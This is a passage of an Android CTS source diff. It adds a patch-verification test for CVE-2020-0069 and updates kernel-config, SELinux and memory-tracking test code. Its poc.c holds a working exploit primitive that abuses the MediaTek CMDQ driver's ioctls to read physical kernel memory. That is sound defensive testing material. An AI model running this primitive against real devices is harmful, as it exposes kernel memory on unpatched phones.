         assumeFalse(dir.getAbsolutePath().startsWith(getAndroidDir().getAbsolutePath())
                 && !dir.equals(getAndroidDir()));
         assertThat(dir.isDirectory()).isEqualTo(exists);
-        // For non-app data directories, exists => canRead() and canWrite().
-        assertAccess(dir, exists, exists, exists);
+        // For non-app data directories, exists => canRead().
+        assertAccess(dir, exists, exists, exists && canWrite);
     }
 
     private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
@@ -2747,7 +3066,7 @@
         assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
     }
 
-    private static void assertCannotAccessOtherAppFile(File file)
+    private static void assertCannotReadOrWrite(File file)
             throws Exception {
         // App data directories have different 'x' bits on upgrading vs new devices. Let's not
         // check 'exists', by passing checkExists=false. But assert this app cannot read or write
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index f45d9a5..55837e4 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -218,6 +218,7 @@
         put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("Kirin810", null);
         put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("LITO", null);
@@ -227,6 +228,7 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
     }};
@@ -281,6 +283,7 @@
         final Set<String> ALLOWED_PATH_PREFIXES = new HashSet<String>();
         ALLOWED_PATH_PREFIXES.add("/vendor/");
         ALLOWED_PATH_PREFIXES.add("/system/");
+        ALLOWED_PATH_PREFIXES.add("/system_ext/");
 
         assertTrue("Linux kernel must enable static usermodehelper: " + ENABLE_CONFIG,
             configSet.contains(ENABLE_CONFIG));
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 6b7dd04..de90629 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -1258,10 +1258,11 @@
         assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
     }
 
-    /* permissioncontroller may or may not be running */
+    /* permissioncontroller, if running, always runs in permissioncontroller_app */
     @CddTest(requirement="9.7")
     public void testPermissionControllerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
+        assertExecutableHasDomain("com.google.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
+        assertExecutableHasDomain("com.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
     }
 
     /* vzwomatrigger may or may not be running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 6a574c9..f17395e 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -53,4 +53,8 @@
         "vts10",
         "sts",
     ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 2cc289a..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -196,6 +196,11 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
+        <!--__________________-->
+        <!-- Bulletin 2020-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
new file mode 100644
index 0000000..8ce25c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//  	http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2020-0069",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                                                           \
+  instructions[command.buffer_size / 8] = (x);                                 \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+  case -1:
+    if (errno == EFAULT) {
+      // Command buffer rejected, the driver is patched.
+      result = OperationFailed;
+    }
+    // Something is wrong with the command buffer.  This may be a device
+    // type that has not been encountered during testing.
+    break;
+  case 0:
+    // Driver accepted the command buffer and did something with it.
+    result = OperationSuccess;
+    break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+      case OperationSuccess:
+        command_accepted = true;
+        for (size_t ii = 0; ii < read_size; ii++) {
+          if (buffer[ii] != 0) {
+            exit_code = EXIT_VULNERABLE;
+            goto exit;
+          }
+        }
+        break;
+      case OperationFailed:
+        exit_code = EXIT_SUCCESS;
+        break;
+      case OperationError:
+        break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index 3f4087f..c20e845 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -13,15 +13,22 @@
 // limitations under the License.
 
 filegroup {
-    name: "cts_securitybulletin_memutils",
+    name: "cts_hostsidetests_securitybulletin_memutils",
     srcs: [
         "memutils.c",
     ],
 }
 
 filegroup {
-    name: "cts_securitybulletin_omxutils",
+    name: "cts_hostsidetests_securitybulletin_omxutils",
     srcs: [
         "omxUtils.cpp",
     ],
 }
+
+filegroup {
+    name: "cts_hostsidetests_securitybulletin_memutils_track",
+    srcs: [
+        "memutils_track.c",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
index 650d2f6..65e1e90 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -61,6 +61,7 @@
     if (NULL == real_memalign) {
         return;
     }
+#ifndef DISABLE_MALLOC_OVERLOADING
     real_calloc = dlsym(RTLD_NEXT, "calloc");
     if (NULL == real_calloc) {
         return;
@@ -73,6 +74,7 @@
     if (NULL == real_realloc) {
         return;
     }
+#endif /* DISABLE_MALLOC_OVERLOADING */
     real_free = dlsym(RTLD_NEXT, "free");
     if (NULL == real_free) {
         return;
@@ -99,14 +101,6 @@
     size_t num_pages;
     size_t page_size = getpagesize();
 
-    /* User specified alignment is not respected and is overridden by
-     * "new_alignment". This is required to catch OOB read when read offset is
-     * less than user specified alignment. "new_alignment" is derived based on
-     * size_t, and helps to avoid bus errors due to non-aligned memory.
-     * "new_alignment", whenever used, is checked to ensure sizeof(size_t)
-     * has returned proper value                                            */
-    size_t new_alignment = sizeof(size_t);
-
     if (s_mem_map_index == MAX_ENTRIES) {
         return real_memalign(alignment, size);
     }
@@ -115,13 +109,16 @@
         return real_memalign(alignment, size);
     }
 
-    if ((0 == page_size) || (0 == alignment) || (0 == size)
-            || (0 == new_alignment)) {
+    if ((0 == page_size) || (0 == alignment) || (0 == size)) {
         return real_memalign(alignment, size);
     }
 #ifdef CHECK_OVERFLOW
-    if (0 != (size % new_alignment)) {
-        aligned_size = size + (new_alignment - (size % new_alignment));
+    /* User specified alignment is not respected and is overridden by
+     * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+     * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+     * avoid bus errors due to non-aligned memory.                         */
+    if (0 != (size % MINIMUM_ALIGNMENT)) {
+        aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
     }
 #endif
 
@@ -134,11 +131,7 @@
     total_size = (num_pages * page_size);
     start_ptr = (char *) real_memalign(page_size, total_size);
 #ifdef CHECK_OVERFLOW
-#ifdef FORCE_UNALIGN
-    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - size;
-#else
     mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
-#endif /* FORCE_UNALIGN */
     DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
 #endif /* CHECK_OVERFLOW */
 #ifdef CHECK_UNDERFLOW
@@ -154,6 +147,7 @@
     return mem_ptr;
 }
 
+#ifndef DISABLE_MALLOC_OVERLOADING
 void *malloc(size_t size) {
     if (s_memutils_initialized == 0) {
         memutils_init();
@@ -163,7 +157,7 @@
         return real_malloc(size);
     }
 #endif /* ENABLE_SELECTIVE_OVERLOADING */
-    return memalign(sizeof(size_t), size);
+    return memalign(MINIMUM_ALIGNMENT, size);
 }
 
 void *calloc(size_t nitems, size_t size) {
@@ -210,6 +204,7 @@
     }
     return real_realloc(ptr, size);
 }
+#endif /* DISABLE_MALLOC_OVERLOADING */
 
 void free(void *ptr) {
     if (s_memutils_initialized == 0) {
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
index 10ee31e..4d3791e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -19,6 +19,7 @@
 #endif /* __cplusplus */
 #define MAX_ENTRIES        (1024 * 1024)
 #define INITIAL_VAL        (0xBE)
+#define MINIMUM_ALIGNMENT  (16)
 
 #define DISABLE_MEM_ACCESS(mem, size)\
     mprotect((char *) mem, size, PROT_NONE);
@@ -43,9 +44,11 @@
 } map_struct_t;
 
 static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
 static void* (*real_calloc)(size_t, size_t) = NULL;
 static void* (*real_malloc)(size_t) = NULL;
 static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
 static void (*real_free)(void *) = NULL;
 static int s_memutils_initialized = 0;
 static int s_mem_map_index = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
new file mode 100644
index 0000000..80e125f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include "common.h"
+#include "memutils_track.h"
+
+void memutils_init(void) {
+    real_memalign = dlsym(RTLD_NEXT, "memalign");
+    if (!real_memalign) {
+        return;
+    }
+    real_malloc = dlsym(RTLD_NEXT, "malloc");
+    if (!real_malloc) {
+        return;
+    }
+    real_free = dlsym(RTLD_NEXT, "free");
+    if (!real_free) {
+        return;
+    }
+
+#ifdef CHECK_MEMORY_LEAK
+    real_calloc = dlsym(RTLD_NEXT, "calloc");
+    if (!real_calloc) {
+        return;
+    }
+    atexit(exit_vulnerable_if_memory_leak_detected);
+#endif /* CHECK_MEMORY_LEAK */
+
+    s_memutils_initialized = true;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_memalign(alignment, size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void *malloc(size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_malloc(size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void free(void *ptr) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    if (ptr) {
+        for (int i = 0; i < s_allocation_index; ++i) {
+            if (ptr == s_allocation_list[i].mem_ptr) {
+                real_free(ptr);
+                memset(&s_allocation_list[i], 0,
+                       sizeof(allocated_memory_struct));
+                return;
+            }
+        }
+    }
+    return real_free(ptr);
+}
+
+#ifdef CHECK_MEMORY_LEAK
+void *calloc(size_t nitems, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_calloc(nitems, size);
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required((nitems *size))) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = nitems * size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void exit_vulnerable_if_memory_leak_detected(void) {
+    bool memory_leak_detected = false;
+    for (int i = 0; i < s_allocation_index; ++i) {
+        if (s_allocation_list[i].mem_ptr) {
+            real_free(s_allocation_list[i].mem_ptr);
+            memset(&s_allocation_list[i], 0,
+                    sizeof(allocated_memory_struct));
+            memory_leak_detected = true;
+        }
+    }
+    if(memory_leak_detected) {
+        exit(EXIT_VULNERABLE);
+    }
+    return;
+}
+#endif /* CHECK_MEMORY_LEAK */
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+bool is_memory_uninitialized() {
+    for (int i = 0; i < s_allocation_index; ++i) {
+        char *mem_ptr = s_allocation_list[i].mem_ptr;
+        size_t mem_size = s_allocation_list[i].mem_size;
+        if (mem_ptr) {
+
+#ifdef CHECK_FOUR_BYTES
+            if(mem_size > (2 * sizeof(uint32_t))) {
+                char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
+                char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+                for (size_t j = 0; j < sizeof(uint32_t); ++j) {
+                    if (*mem_ptr_start++ == INITIAL_VAL) {
+                        return true;
+                    }
+                    if (*mem_ptr_end-- == INITIAL_VAL) {
+                        return true;
+                    }
+                }
+                continue;
+            }
+#endif /* CHECK_FOUR_BYTES */
+
+            for (size_t j = 0; j < mem_size; ++j) {
+                if (*mem_ptr++ == INITIAL_VAL) {
+                    return true;
+                }
+            }
+        }
+    }
+    return false;
+}
+
+#endif /* CHECK_UNINITIALIZED_MEMORY */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
new file mode 100644
index 0000000..dff76e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES               (32 * 1024)
+#define INITIAL_VAL               0xBE
+
+#define ENABLE_NONE               0x00
+#define ENABLE_MEMALIGN_CHECK     0x01
+#define ENABLE_MALLOC_CHECK       0x02
+#define ENABLE_CALLOC_CHECK       0x04
+#define ENABLE_ALL                ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+    ENABLE_CALLOC_CHECK
+
+typedef struct {
+    void *mem_ptr;
+    size_t mem_size;
+} allocated_memory_struct;
+
+static bool s_memutils_initialized = false;
+static int s_allocation_index = 0;
+static allocated_memory_struct s_allocation_list[MAX_ENTRIES] = { { 0, 0 } };
+
+extern bool is_tracking_required(size_t size);
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+#ifdef CHECK_MEMORY_LEAK
+static void* (*real_calloc)(size_t, size_t) = NULL;
+void exit_vulnerable_if_memory_leak_detected(void);
+#endif
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+extern bool is_memory_uninitialized();
+#endif
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
index 8986c32..aeea4a0 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -34,7 +34,7 @@
 #include <android/IOMXBufferSource.h>
 #include <media/omx/1.0/WOmx.h>
 #include <binder/MemoryDealer.h>
-#include "HardwareAPI.h"
+#include "media/hardware/HardwareAPI.h"
 #include "OMX_Component.h"
 #include <binder/ProcessState.h>
 #include <media/stagefright/foundation/ALooper.h>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 842d83a..3442ce1 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -77,6 +77,13 @@
         } catch (RemoteException e) {
             throw new RuntimeException("failed to freeze device orientation", e);
         }
+        wakeupDeviceAndPressHome();
+    }
+
